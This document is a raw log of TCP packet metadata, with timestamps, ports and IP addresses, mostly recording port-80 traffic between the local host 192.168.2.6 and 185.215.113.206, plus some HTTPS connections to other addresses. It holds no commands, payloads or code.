Nov 28, 2024 15:17:43.743722916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.743740082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.744538069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.744601011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.744626045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.745480061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.745492935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.745539904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.745584965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.746099949 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.746195078 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.746401072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.746495962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.746548891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.747275114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.747318029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.747373104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.748212099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.748333931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.748394966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.749078035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.749217033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.749273062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.750013113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.750133991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.750207901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.750997066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.751132011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.751209021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.751871109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.752079010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.752136946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.752763033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.752933979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.752995014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.753685951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.753786087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.753839970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.754616976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.754760981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.754823923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.755531073 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.755702019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.755764008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.756481886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.756644011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.756705999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.757359982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.757445097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.757503986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.758301020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.758409977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.758480072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.759203911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.759423971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.759470940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.760111094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.760179043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.760282040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.761037111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.761048079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.761097908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.761959076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.762038946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.762096882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.762851000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.762965918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.763021946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.763772011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.763884068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.763942003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.764739037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.764904976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.764964104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.765585899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.765741110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.765801907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.766504049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.766606092 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.766628027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.766643047 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.766699076 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.766729116 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.766736031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.766746044 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.767420053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.767478943 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.767564058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.767591000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.767606974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.768352985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.768443108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.768501043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.769288063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.769371033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.769423008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.770148039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.770255089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.770312071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.771070004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.771169901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.771228075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.772001028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.772111893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.772173882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.772913933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.772995949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.772996902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.773045063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.773828983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.773906946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.773956060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.774740934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.774835110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.774888039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.775691032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.775733948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.775741100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.775790930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.776593924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.776638985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.776709080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.777508974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.777561903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.777589083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.778417110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.778460979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.778522015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.778562069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.779356956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.779457092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.779517889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.780240059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.780333042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.780400991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.781137943 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781157970 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781187057 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781200886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.781203985 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781213045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.781217098 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781218052 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.781229019 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781253099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.781254053 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.781280041 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.781308889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.781333923 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.781333923 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.782120943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.782134056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.782186031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.783051014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.783189058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.783242941 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.783942938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.784033060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.784090042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.784813881 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.784868002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.784910917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.785613060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.785717964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.785878897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.785963058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.786658049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.786746025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.786802053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.787547112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.787683964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.787750959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.788475990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.788508892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.788567066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.789418936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.789540052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.789599895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.790312052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.790457010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.790503979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.791225910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.791337013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.791342974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.791639090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.792186022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.792704105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.810256004 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.813796997 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.813819885 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.814217091 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.818344116 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.818423986 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.818495035 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.818530083 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.818578005 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.821384907 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.821407080 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.821435928 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.821453094 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.821471930 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.821628094 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.821628094 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.821644068 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.821693897 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.846992016 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.850231886 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.850294113 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.850296974 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.850330114 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.850344896 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.850442886 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.878163099 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.878257036 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.878318071 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.878961086 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:43.878977060 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:43.941472054 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.941543102 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.941580057 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.942003965 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.942025900 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.942063093 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.942085981 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.942102909 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.942121983 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.943449020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.943542004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.943593025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.943890095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.943943977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.943994999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.944037914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.944125891 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:43.944190979 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:43.944782019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.944873095 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:43.944914103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.944922924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.944947958 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:43.944962978 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.945694923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.945739031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.945795059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.945877075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.946502924 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.946518898 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.946635962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.946691036 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.946702003 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.946707964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.946727037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.946784019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.947218895 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:43.947228909 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:43.947552919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.947623014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.947683096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.947719097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.948425055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.948484898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.948529959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.948565006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.949409962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.949453115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.949487925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.949585915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.950290918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.950346947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.950402021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.950439930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.951198101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.951251030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.951335907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.951417923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.952163935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.952208042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.952295065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.952332020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.953037024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.953088999 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.953120947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.953145027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.953146935 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.953166962 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.953176975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.953182936 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.953217030 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.953665018 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.953682899 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.953969955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.954022884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.954143047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.954195023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.954942942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.954994917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.955002069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.955080986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.955825090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.955878019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.955884933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.955921888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.956144094 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.956161976 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.956186056 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.956209898 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.956226110 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.956254959 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.956274033 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.956698895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.956737041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.956773996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.956814051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.957606077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.957700968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.957732916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.957843065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.958544016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.958606958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.958637953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.958709002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.959466934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.959518909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.959528923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.959558964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.960383892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.960434914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.960489988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.960649014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.961288929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.961342096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.961355925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.961472988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.962202072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.962275982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.962354898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.962394953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.963110924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.963151932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.963188887 CET	80	49804	185.215.113.206	192.168.2.6
